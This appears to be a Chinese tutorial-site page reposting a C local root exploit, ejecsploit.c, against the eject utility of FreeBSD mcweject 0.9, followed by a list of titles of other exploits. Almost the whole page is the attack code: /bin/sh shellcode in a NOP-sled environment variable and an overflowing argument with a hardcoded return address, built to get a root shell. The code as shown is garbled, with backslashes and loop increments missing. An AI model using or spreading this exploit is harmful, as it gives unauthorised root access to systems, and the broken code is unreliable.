手机
当前位置:查字典教程网 >网络安全 >Exploit >FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit
FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit
摘要://ejecsploit.c-localrootexploitforbsd'seject.c//harry//vulnfoundb...

// ejecsploit.c - local root exploit for bsd's eject.c

// harry

// vuln found by kokanin (you 31337!!! ;))

// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#define LEN 1264

#define NOP 0x90

extern char** environ;

int main(){

char buf[LEN];

char* ptr;

char* arg[4];

unsigned int ret, i;

char shellcode[]="xebx17x5bx31xc0x88x43x07x89x5bx08x89"

"x43x0cx50x8dx53x08x52x53xb0x3bx50xcd"

"x80xe8xe4xffxffxff/bin/sh";

// hardcoded... too boneidle to fix this

ret = 0xbfbfee16;

char envshell[4096];

ptr = envshell;

for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;

for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;

*(ptr) = 0x0;

memcpy (envshell, "BLEH=",5);

putenv(envshell);

memset (buf, 0x41, sizeof(buf));

buf[LEN-5] = (char) ( 0x000000ff & ret);

buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);

buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);

buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);

buf[LEN-1] = 0x0;

arg[0] = "/usr/local/sbin/eject";

arg[1] = "-t";

arg[2] = buf;

arg[3] = NULL;

execve (arg[0], arg, environ);

return 0;

}

【FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit】相关文章:

MojoClassifieds 2.0 Remote Blind SQL Injection Exploit

Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit

BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability

BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)

Dana IRC 1.4a Remote Buffer Overflow Exploit

CodeDB (list.php lang) Local File Inclusion Vulnerability

ITechBids 7.0 Gold (XSS/SQL) Multiple Remote Vulnerabilities

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit

精品推荐
分类导航